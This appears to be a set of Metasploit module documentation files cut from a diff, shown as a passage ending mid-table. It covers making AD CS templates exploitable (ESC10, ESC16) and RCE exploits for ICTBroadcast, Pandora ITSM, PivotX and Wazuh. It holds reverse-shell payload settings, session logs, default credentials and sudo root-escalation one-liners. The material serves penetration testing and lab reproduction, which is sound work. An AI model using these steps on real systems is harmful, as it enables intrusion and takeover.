1. In order to be able to exploit this template run the following Powershell command and ensure `StrongCertificateBindingEnforcement` is not set to `2` (it should be 1, or 0):
```powershell
Set-ItemProperty -Path "HKLM:SYSTEM\CurrentControlSet\Services\Kdc\" -Name StrongCertificateBindingEnforcement -Value 1
Get-ItemProperty -Path "HKLM:SYSTEM\CurrentControlSet\Services\Kdc\" -Name StrongCertificateBindingEnforcement
```
### Setting up a ESC10 Vulnerable Certificate Template
1. Follow the first 15 steps `Setting up a ESC9 Vulnerable Certificate Template` to create the `ESC10-Template`.
1. Everything up to and excluding the `msPKI-Enrollment-Flag", 0x80000` powershell step.
#### Configuring Windows to be Vulnerable to ESC10
1. The template should now be reported as `Potentially Vulnerable` by the module.
##### ESC10 Case1:
1. In order to be able to exploit this template run the following Powershell command and ensure `StrongCertificateBindingEnforcement` is set to `0`
```powershell
Set-ItemProperty -Path "HKLM:SYSTEM\CurrentControlSet\Services\Kdc\" -Name StrongCertificateBindingEnforcement -Value 0
Get-ItemProperty -Path "HKLM:SYSTEM\CurrentControlSet\Services\Kdc\" -Name StrongCertificateBindingEnforcement
```
##### ESC10 Case2:
1. In order to be able to exploit this template run the following Powershell command and ensure `CertificateMappingMethods` is set to `0x4`
```powershell
Set-ItemProperty -Path "HKLM:SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel\" -Name CertificateMappingMethods -Value 4
Get-ItemProperty -Path "HKLM:SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel\" -Name CertificateMappingMethods
```
### Setting up a ESC13 Vulnerable Certificate Template
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC13`, then click `Apply`.
1. Go to the `Extensions` tab, click the Issuance Policies entry, click the `Add` button, click the `New...` button.
@@ -131,6 +181,52 @@ a normal user account by analyzing the objects in LDAP.
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder and ensure `WebServer` is listed, if it's not, add it.
1. The certificate should now be available to be issued by the CA server.
### Setting up a ESC16 Vulnerable Certificate Template
#### Configuring Windows to be Vulnerable to ESC16
1. There are two ECS16 scenarios and both depend on the CA having the OID: `1.3.6.1.4.1.311.25.2` being present in its `policy\DisableExtensionList`
1. Run the following Powershell snippet to add the OID to the `DisableExtensionList` if it is not already present:
```powershell
$activePolicyName = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\*\PolicyModules" -Name "Active" | Select-Object -ExpandProperty Active
$disableExtensionList = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\*\PolicyModules\$activePolicyName" -Name "DisableExtensionList" | Select-Object -ExpandProperty DisableExtensionList
if (-not ($disableExtensionList -contains "1.3.6.1.4.1.311.25.2")) {
$updatedList = $disableExtensionList + @("1.3.6.1.4.1.311.25.2")
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\*\PolicyModules\$activePolicyName" -Name "DisableExtensionList" -Value $updatedList
Write-Output "OID 1.3.6.1.4.1.311.25.2 has been added to the DisableExtensionList."
} else {
Write-Output "OID 1.3.6.1.4.1.311.25.2 is already present in the DisableExtensionList."
}
```
#### ESC16 Scenario 1
When a CA has the OID `1.3.6.1.4.1.311.25.2` added to its `policy\DisableExtensionList` registry setting every certificate issued by this CA will lack this SID security extension.
This effectively makes all templates published by this CA behave as if they were individually configured with the `CT_FLAG_NO_SECURITY_EXTENSION` flag (as seen in ESC9).
So if `StrongCertificateBindingEnforcement` is not set to `2` we can exploit this weak mapping.
In order to create a template vulnerable to ESC16 scenario 1, follow the first 15 steps in `Setting up a ESC9 Vulnerable Certificate Template`,
which is all the steps up to and excluding the `msPKI-Enrollment-Flag", 0x80000` powershell step which is how you set the `CT_FLAG_NO_SECURITY_EXTENSION`.
Ensure that `StrongCertificateBindingEnforcement` is set to `0` or `1` (not `2`) by running the following command listed in `Configuring Windows to be Vulnerable to ESC9`
### ESC16 Scenario 2
When a CA has the OID `1.3.6.1.4.1.311.25.2` added to its `policy\DisableExtensionList` and `StrongCertificateBindingEnforcement` is set to `2`, there is still a way to exploit the template.
If the policy module's `EditFlags` has the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag set (which is essentially ESC6), then the template is vulnerable to ESC16 scenario 2.
Ensure the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag is set by running following PowerShell command:
```powershell
$EDITF_ATTRIBUTESUBJECTALTNAME2 = 0x00040000
$activePolicyName = (Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\*\PolicyModules" -Name "Active").Active
$editFlagsPath = "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\*\PolicyModules\$activePolicyName"
$editFlags = (Get-ItemProperty -Path $editFlagsPath -Name "EditFlags").EditFlags
if ($editFlags -band $EDITF_ATTRIBUTESUBJECTALTNAME2) {
Write-Output "The EDITF_ATTRIBUTESUBJECTALTNAME2 flag is already enabled."
} else {
# Enable the flag by setting it in the EditFlags value
$newEditFlags = $editFlags -bor $EDITF_ATTRIBUTESUBJECTALTNAME2
Set-ItemProperty -Path $editFlagsPath -Name "EditFlags" -Value $newEditFlags
Write-Output "The EDITF_ATTRIBUTESUBJECTALTNAME2 flag has been enabled."
}
```
## Module usage
1. Do: Start msfconsole
@@ -0,0 +1,180 @@
## Vulnerable Application
This Metasploit module exploits an **unauthenticated remote code
execution (RCE)** vulnerability in **ICTBroadcast**.
The vulnerability exists due to improper handling of session
cookies in the authentication mechanism. An attacker can inject arbitrary system commands by modifying the session cookie.
The issue affects **various versions of ICTBroadcast**, but
specific impacted releases are currently unknown. The vulnerability allows an attacker to execute shell commands **without authentication**.
## Options
None
## Testing
To test the exploit, spin up a vulnerable ICTBroadcast instance with Docker.
```yaml
services:
db:
image: mariadb:10.6
container_name: ictmysql
restart: unless-stopped
environment:
MYSQL_ROOT_PASSWORD: root
MARIADB_ROOT_HOST: '%'
MYSQL_DATABASE: ictbroadcast
MYSQL_USER: ictuser
MYSQL_PASSWORD: ictpass
volumes:
- db_data:/var/lib/mysql
ports:
- "3306:3306"
ictbroadcast:
image: chocapikk/ictbroadcast-cve-2025-2611:latest
container_name: ictbroadcast
depends_on:
- db
ports:
- "80:80"
- "443:443"
command: >
bash -c "
composer --working-dir=/usr require stefangabos/zebra_pagination &&
/usr/sbin/httpd -k start &&
/usr/sbin/php-fpm &&
tail -f /dev/null
"
volumes:
db_data:
```
1. Start the stack:
```bash
docker compose up -d
```
2. Verify that the login page is reachable at **`http://localhost/login.php`**.
The application should issue a valid session cookie on first visit.
3. Run the Metasploit module.
The exploit will automatically harvest the session cookie (format may vary across deployments)
and leverage it to execute arbitrary commands via the vulnerable endpoint.
## Verification Steps
1. Start **Metasploit Framework**:
```bash
msfconsole
```
2. Load the module:
```bash
use exploit/linux/http/ictbroadcast_unauth_cookie
```
3. Set the **target IP address**:
```bash
set RHOSTS <TARGET_IP>
```
4. Set the **payload** for command execution:
```bash
set PAYLOAD cmd/unix/reverse_bash
```
5. Configure the listener:
```bash
set LHOST <YOUR_IP>
set LPORT 4444
```
6. Check if the target is vulnerable:
```bash
check
```
7. Exploit the target:
```bash
exploit
```
## Scenarios
### Unauthenticated Command Execution
**Note**: Ensure that the target is vulnerable using the `check` command before running the exploit.
**Note**: The session cookie is retrieved dynamically and modified for command injection.
```bash
msf6 exploit(linux/http/ictbroadcast_unauth_cookie) > run http://lab
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking ICTBroadcast via JS fingerprints
[+] JS fingerprint found; performing timing tests
[*] Retrieving session cookies dynamically
[*] Found cookies: BROADCAST=49b067ae1fdfbcab3d73caa1c7e6d75a
[+] The target is vulnerable. Injected RCE (slept 4s)
[*] Sending stage (3090404 bytes) to 192.168.128.3
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 192.168.128.3:53178) at 2025-08-04 17:50:33 +0200
meterpreter > sysinfo
Computer : 192.168.128.3
OS : Red Hat 8.10 (Linux 6.15.8-2-cachyos)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > shell
Process 877 created.
Channel 1 created.
SHELL=/bin/bash script -q /dev/null
bash-4.4$ sudo -l
sudo -l
Matching Defaults entries for asterisk on f7681361bd20:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User asterisk may run the following commands on f7681361bd20:
(root) NOPASSWD: /usr/sbin/asterisk
(root) NOPASSWD: /etc/init.d/asterisk
(root) NOPASSWD: /etc/init.d/httpd
(root) NOPASSWD: /etc/init.d/mysqld
(root) NOPASSWD: /etc/init.d/kannel
(root) NOPASSWD: /usr/sbin/ntpdate
(root) NOPASSWD: /usr/sbin/rabbitmqctl
(root) NOPASSWD: /bin/systemctl
bash-4.4$
```
#### Low-hanging LPE via systemctl
If `/bin/systemctl` is listed in sudo as NOPASSWD, you can escalate to root (outside Docker) via:
```bash
sudo systemctl
!sh
```
*Source: [https://gtfobins.github.io/gtfobins/systemctl/#sudo](https://gtfobins.github.io/gtfobins/systemctl/#sudo)*
#### Low-hanging LPE via Asterisk NOPASSWD
If `/usr/sbin/asterisk` is listed in sudo as NOPASSWD, you can obtain a root shell by:
```bash
# 1) Start Asterisk as root, in foreground so it creates its CLI socket
sudo asterisk -F
# 2) Connect to the Asterisk console and drop into a root shell
sudo asterisk -r
f7681361bd20*CLI> !sh
sh-4.4#
```
@@ -0,0 +1,131 @@
## Vulnerable Application
Pandora ITSM is a platform for Service Management & Support including a Helpdesk for support
and customer service teams, aligned with ITIL processes.
This module exploits a command injection vulnerability in the `name` backup setting at the
application setup page of Pandora ITSM. This can be triggered by generating a backup with a
malicious payload injected at the `name` parameter.
You need to have admin access at the Pandora ITSM Web application in order to execute this RCE.
This access can be achieved by knowing the admin credentials to access the web application or
leveraging a default password vulnerability in Pandora ITSM that allows an attacker to access
the Pandora FMS ITSM database, create a new admin user and gain administrative access to the
Pandora ITSM Web application. This attack can be remotely executed over the WAN as long as the
MySQL services are exposed to the outside world.
This issue affects all ITSM Enterprise editions up to `5.0.105` and is patched at `5.0.106`.
The following releases were tested.
**Pandora ITSM Releases:**
* Pandora ITSM Enterprise Edition 5.0.104 Build 240802 MR97 on Ubuntu 22.04
* Pandora ITSM Enterprise Edition 5.0.105 Build 250129 MR98 on Ubuntu 22.04
## Installation steps to install Pandora ITSM Enterprise Edition on Ubuntu 22.04
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
* Register for a free trial [here](https://pandorafms.com/en/itsm/free-trial/).
* Install a plain Ubuntu 22.04 VM image.
* Log in at the Ubuntu VM with root.
* Run `apt update && apt upgrade` to get the latest updates.
* Run the following command `curl -SsL https://pfms.me/deploy-pandora-itsm > deploy-pandora-itsm`.
* Check the file `deploy-pandora-itsm` and find the `install_script` variable that refers to `itsm_deploy_enterprise_ubuntu_2204.sh`.
* `install_script='https://packages.pandorafms.com/projects/deploy/itsm/iBxbqHhtHkOnzp1rINvG/itsm_deploy_enterprise_ubuntu_2204.sh'`
* Use the `url` and download the file with `curl` and store it locally in the file `install.sh`.
* `curl -LSs https://packages.pandorafms.com/projects/deploy/itsm/iBxbqHhtHkOnzp1rINvG/itsm_deploy_enterprise_ubuntu_2204.sh > install.sh`
* Edit `install.sh` with your favorite editor and change the following line FROM:
* INTEGRIA_PACKAGE_ENT="https://packages.pandorafms.com/c5553382c7268ea9d69dd2f889029162/latest/PandoraITSM_enterprise-latest.tar.gz"
* TO
* INTEGRIA_PACKAGE_ENT="https://packages.pandorafms.com/c5553382c7268ea9d69dd2f889029162/LTS/PandoraITSM_enterprise-lts.tar.gz"
* Run `chmod +x install.sh` and execute the script `./install.sh`.
* After successful installation of Pandora ITSM you can access the application using the `webui` via `http://your_ip/pandoraitsm`.
You are now ready to test the module.
## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/linux/http/pandora_itsm_auth_rce_cve_2025_4653`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set lhost <attacker-ip>`
- [ ] `set target <0=Unix/Linux Command>`
- [ ] `exploit`
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
## Options
### USERNAME
This option is optional and is the username (default: admin) to authenticate with the Pandora ITSM application.
### PASSWORD
This option is optional and is the password (default: integria) in plain text to authenticate with the Pandora ITSM application.
### DB_USER
This option is required and is the username (default: pandoraitsm) to authenticate with the Pandora ITSM MySQL database.
### DB_PASSWORD
This option is required and is the password (default: P4ndor4.itsm) in plain text to authenticate with the Pandora ITSM MySQL database.
### DB_PORT
This option is required and is the MySQL database port (default: 3306) to connect to the database.
## Scenarios
### Pandora ITSM 5.0.104 on Ubuntu 22.04 - Unix/Linux Command target
Attack scenario: use the default admin credentials (admin:integria) of the Pandora ITSM application
to gain the privileges for the RCE.
```msf
msf6 exploit(linux/http/pandora_itsm_auth_rce_cve_2025_4653) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Pandora ITSM Enterprise Edition 5.0.104 Build 240802 MR97
[*] Trying to log in with admin credentials admin:integria at the Pandora ITSM Web application.
[*] Succesfully authenticated at the Pandora ITSM Web application.
[*] Saving admin credentials at the msf database.
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending stage (3090404 bytes) to 192.168.201.6
[*] Meterpreter session 45 opened (192.168.201.10:4444 -> 192.168.201.6:37374) at 2025-07-19 10:21:00 +0000
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 192.168.201.6
OS : Ubuntu 22.04 (Linux 5.15.0-144-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > pwd
/var/www/html/pandoraitsm
meterpreter >
```
### Pandora ITSM 5.0.104 on Ubuntu 22.04 - Unix/Linux Command target
Attack scenario: use the default database credentials (pandoraitsm:P4ndor4.itsm) to create an admin user in the application
to gain the privileges for the RCE.
```msf
msf6 exploit(linux/http/pandora_itsm_auth_rce_cve_2025_4653) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Pandora ITSM Enterprise Edition 5.0.104 Build 240802 MR97
[*] Trying to log in with admin credentials admin:xxx at the Pandora ITSM Web application.
[*] Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.
[*] Creating new admin user with credentials hhmxr:YGMWzFjE9R for access at the Pandora ITSM Web application.
[*] Trying to log in with new admin credentials hhmxr:YGMWzFjE9R at the Pandora ITSM Web application.
[*] Succesfully authenticated at the Pandora ITSM Web application.
[*] Saving admin credentials at the msf database.
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending stage (3090404 bytes) to 192.168.201.6
[*] Meterpreter session 46 opened (192.168.201.10:4444 -> 192.168.201.6:38870) at 2025-07-19 10:22:43 +0000
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 192.168.201.6
OS : Ubuntu 22.04 (Linux 5.15.0-144-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > pwd
/var/www/html/pandoraitsm
meterpreter >
```
## Limitations
None.
@@ -0,0 +1,56 @@
## Vulnerable Application
PivotX is free software to help you maintain dynamic sites such as weblogs, online journals and other frequently updated websites in general.
It's written in PHP and uses MySQL or flat files as a database.
Install steps:
1. Install Apache2, MySQL, PHP8.2+
1. `git clone https://github.com/pivotx/PivotX.git`
1. Move `PivotX` to webfolder
1. Run the following from the web folder `sudo chown -R www-data:www-data ./`
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use exploit/linux/http/pivotx_rce`
1. Do: `set USERNAME [PivotX username]`
1. Do: `set PASSWORD [PivotX password]`
1. Do: `set RHOSTS [target IP]`
1. Do: `set LHOST [attacker IP]`
1. Do: `run`
## Options
### USERNAME
PivotX username.
### PASSWORD
PivotX password.
## Scenarios
```
msf exploit(linux/http/pivotx_index_php_overwrite) > run verbose=true
[*] Started reverse TCP handler on 192.168.168.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected PivotX 3.0.0.pre.rc3
[*] Logging in PivotX
[*] Modifying file and injecting payload
[*] Triggering payload
[*] Sending stage (40004 bytes) to 192.168.168.146
[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.146:36104) at 2025-08-01 09:38:52 +0200
[*] Restoring original content
meterpreter >
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data
```
@@ -0,0 +1,365 @@
## Vulnerable Application
Wazuh is a free and open source platform used for threat prevention, detection, and response.
Starting in version `4.4.0` and prior to version `4.9.1`, an unsafe deserialization vulnerability allows for remote code
execution on Wazuh servers. DistributedAPI parameters are serialized as JSON and deserialized using `as_wazuh_object` in
`/var/ossec/framework/wazuh/core/cluster/common.py`. If an attacker manages to inject an unsanitized dictionary in DAPI
request/response, they can forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.
The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or,
in certain configurations, even by a compromised agent.
The following Wazuh release has been tested:
* Wazuh Server 4.8.2 multi-node cluster running on Docker Desktop
See also this [attackerkb article](https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016) for more info.
## Installation
### Installation steps to install the Wazuh Server application
* Install `Docker` on your preferred platform.
* Here are the installation instructions for [Docker Desktop on MacOS](https://docs.docker.com/desktop/install/mac-install/).
* Follow the steps to install [Wazuh multi-node](https://documentation.wazuh.com/current/deployment-options/docker/wazuh-container.html).
* Change the `docker-compose.yml` file in the `multi-node` directory by adding the line `- "56000:55000"` to the ports configuration
* of the wazuh.worker section to expose port `55000` to the outside world on port `56000`.
* You can modify the `4.8.2` version in the `yml` file to pull different versions.
```yaml
# Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2)
version: '3.7'
services:
wazuh.master:
image: wazuh/wazuh-manager:4.8.2
hostname: wazuh.master
restart: always
ulimits:
memlock:
soft: -1
hard: -1
nofile:
soft: 655360
hard: 655360
ports:
- "1515:1515"
- "514:514/udp"
- "55000:55000"
environment:
- INDEXER_URL=https://wazuh1.indexer:9200
- INDEXER_USERNAME=admin
- INDEXER_PASSWORD=SecretPassword
- FILEBEAT_SSL_VERIFICATION_MODE=full
- SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem
- SSL_CERTIFICATE=/etc/ssl/filebeat.pem
- SSL_KEY=/etc/ssl/filebeat.key
- API_USERNAME=wazuh-wui
- API_PASSWORD=MyS3cr37P450r.*-
volumes:
- master-wazuh-api-configuration:/var/ossec/api/configuration
- master-wazuh-etc:/var/ossec/etc
- master-wazuh-logs:/var/ossec/logs
- master-wazuh-queue:/var/ossec/queue
- master-wazuh-var-multigroups:/var/ossec/var/multigroups
- master-wazuh-integrations:/var/ossec/integrations
- master-wazuh-active-response:/var/ossec/active-response/bin
- master-wazuh-agentless:/var/ossec/agentless
- master-wazuh-wodles:/var/ossec/wodles
- master-filebeat-etc:/etc/filebeat
- master-filebeat-var:/var/lib/filebeat
- ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem
- ./config/wazuh_indexer_ssl_certs/wazuh.master.pem:/etc/ssl/filebeat.pem
- ./config/wazuh_indexer_ssl_certs/wazuh.master-key.pem:/etc/ssl/filebeat.key
- ./config/wazuh_cluster/wazuh_manager.conf:/wazuh-config-mount/etc/ossec.conf
wazuh.worker:
image: wazuh/wazuh-manager:4.8.2
hostname: wazuh.worker
restart: always
ulimits:
memlock:
soft: -1
hard: -1
nofile:
soft: 655360
hard: 655360
ports:
- "56000:55000"
- "5555:5555"
environment:
- INDEXER_URL=https://wazuh1.indexer:9200
- INDEXER_USERNAME=admin
- INDEXER_PASSWORD=SecretPassword
- FILEBEAT_SSL_VERIFICATION_MODE=full
- SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem
- SSL_CERTIFICATE=/etc/ssl/filebeat.pem
- SSL_KEY=/etc/ssl/filebeat.key
- PYTHONBREAKPOINT=remote_pdb.set_trace
- REMOTE_PDB_HOST=0.0.0.0
- REMOTE_PDB_PORT=5555
volumes:
- worker-wazuh-api-configuration:/var/ossec/api/configuration
- worker-wazuh-etc:/var/ossec/etc
- worker-wazuh-logs:/var/ossec/logs
- worker-wazuh-queue:/var/ossec/queue
- worker-wazuh-var-multigroups:/var/ossec/var/multigroups
- worker-wazuh-integrations:/var/ossec/integrations
- worker-wazuh-active-response:/var/ossec/active-response/bin
- worker-wazuh-agentless:/var/ossec/agentless
- worker-wazuh-wodles:/var/ossec/wodles
- worker-filebeat-etc:/etc/filebeat
- worker-filebeat-var:/var/lib/filebeat
- ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem
- ./config/wazuh_indexer_ssl_certs/wazuh.worker.pem:/etc/ssl/filebeat.pem
- ./config/wazuh_indexer_ssl_certs/wazuh.worker-key.pem:/etc/ssl/filebeat.key
- ./config/wazuh_cluster/wazuh_worker.conf:/wazuh-config-mount/etc/ossec.conf
wazuh1.indexer:
image: wazuh/wazuh-indexer:4.8.2
hostname: wazuh1.indexer
restart: always
ports:
- "9200:9200"
environment:
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
- "bootstrap.memory_lock=true"
ulimits:
memlock:
soft: -1
hard: -1
nofile:
soft: 65536
hard: 65536
volumes:
- wazuh-indexer-data-1:/var/lib/wazuh-indexer
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
- ./config/wazuh_indexer_ssl_certs/wazuh1.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.key
- ./config/wazuh_indexer_ssl_certs/wazuh1.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.pem
- ./config/wazuh_indexer_ssl_certs/admin.pem:/usr/share/wazuh-indexer/certs/admin.pem
- ./config/wazuh_indexer_ssl_certs/admin-key.pem:/usr/share/wazuh-indexer/certs/admin-key.pem
- ./config/wazuh_indexer/wazuh1.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml
wazuh2.indexer:
image: wazuh/wazuh-indexer:4.8.2
hostname: wazuh2.indexer
restart: always
environment:
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
- "bootstrap.memory_lock=true"
ulimits:
memlock:
soft: -1
hard: -1
nofile:
soft: 65536
hard: 65536
volumes:
- wazuh-indexer-data-2:/var/lib/wazuh-indexer
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
- ./config/wazuh_indexer_ssl_certs/wazuh2.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.key
- ./config/wazuh_indexer_ssl_certs/wazuh2.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.pem
- ./config/wazuh_indexer/wazuh2.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml
wazuh3.indexer:
image: wazuh/wazuh-indexer:4.8.2
hostname: wazuh3.indexer
restart: always
environment:
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
- "bootstrap.memory_lock=true"
ulimits:
memlock:
soft: -1
hard: -1
nofile:
soft: 65536
hard: 65536
volumes:
- wazuh-indexer-data-3:/var/lib/wazuh-indexer
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
- ./config/wazuh_indexer_ssl_certs/wazuh3.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.key
- ./config/wazuh_indexer_ssl_certs/wazuh3.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.pem
- ./config/wazuh_indexer/wazuh3.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml
wazuh.dashboard:
image: wazuh/wazuh-dashboard:4.8.2
hostname: wazuh.dashboard
restart: always
ports:
- 443:5601
environment:
- OPENSEARCH_HOSTS="https://wazuh1.indexer:9200"
- WAZUH_API_URL="https://wazuh.master"
- API_USERNAME=wazuh-wui
- API_PASSWORD=MyS3cr37P450r.*-
- DASHBOARD_USERNAME=kibanaserver
- DASHBOARD_PASSWORD=kibanaserver
volumes:
- ./config/wazuh_indexer_ssl_certs/wazuh.dashboard.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard.pem
- ./config/wazuh_indexer_ssl_certs/wazuh.dashboard-key.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard-key.pem
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-dashboard/certs/root-ca.pem
- ./config/wazuh_dashboard/opensearch_dashboards.yml:/usr/share/wazuh-dashboard/config/opensearch_dashboards.yml
- ./config/wazuh_dashboard/wazuh.yml:/usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml
- wazuh-dashboard-config:/usr/share/wazuh-dashboard/data/wazuh/config
- wazuh-dashboard-custom:/usr/share/wazuh-dashboard/plugins/wazuh/public/assets/custom
depends_on:
- wazuh1.indexer
links:
- wazuh1.indexer:wazuh1.indexer
- wazuh.master:wazuh.master
nginx:
image: nginx:stable
hostname: nginx
restart: always
ports:
- "1514:1514"
depends_on:
- wazuh.master
- wazuh.worker
- wazuh.dashboard
links:
- wazuh.master:wazuh.master
- wazuh.worker:wazuh.worker
- wazuh.dashboard:wazuh.dashboard
volumes:
- ./config/nginx/nginx.conf:/etc/nginx/nginx.conf:ro
volumes:
master-wazuh-api-configuration:
master-wazuh-etc:
master-wazuh-logs:
master-wazuh-queue:
master-wazuh-var-multigroups:
master-wazuh-integrations:
master-wazuh-active-response:
master-wazuh-agentless:
master-wazuh-wodles:
master-filebeat-etc:
master-filebeat-var:
worker-wazuh-api-configuration:
worker-wazuh-etc:
worker-wazuh-logs:
worker-wazuh-queue:
worker-wazuh-var-multigroups:
worker-wazuh-integrations:
worker-wazuh-active-response:
worker-wazuh-agentless:
worker-wazuh-wodles:
worker-filebeat-etc:
worker-filebeat-var:
wazuh-indexer-data-1:
wazuh-indexer-data-2:
wazuh-indexer-data-3:
wazuh-dashboard-config:
wazuh-dashboard-custom:
```
* Run following command `docker-compose up -d` to install and run the Wazuh server cluster environment.
* Your Wazuh server should be accessible on `https://localhost` with an active Wazuh server cluster running.
* You can bring down the environment for a fresh start with the command `docker-compose down`.
You are now ready to test the module.
**IMPORTANT NOTE:**
This vulnerability can only be triggered in a Wazuh multi-node cluster configuration, because it needs the distributed API function.
It is important to understand that the worker-server port (`55000`) should be exposed to the outside world in order to trigger
this vulnerability. In the above lab setup, it is exposed on port `56000` (see the `docker-compose.yml` file)
Using it directly on the master-server port (`55000`) will not work because the DAPI request is not leveraged in this case, hence
the vulnerable code will not be triggered.
## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/linux/http/wazuh_auth_rce_cve_2025_24016`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set lhost <attacker-ip>`
- [ ] `set target <0=Unix/Linux Command>`
- [ ] `exploit`
you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings.
## Options
**API Credentials:**
`API_PWD` Wazuh API password (MyS3cr37P450r.*-)
`API_USER` Wazuh API user (wazuh-wui)
## Scenarios
### Wazuh server 4.8.2 on Docker Desktop
```msf
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > options
Module options (exploit/linux/http/wazuh_auth_rce_cve_2025_24016):
Name Current Setting Required Description
---- --------------- -------- -----------
API_PWD MyS3cr37P450r.*- yes Wazuh API password
API_USER wazuh-wui yes Wazuh API user
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http,
socks5h
RHOSTS 192.168.201.85 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 56000 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to the wazuh manager
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python
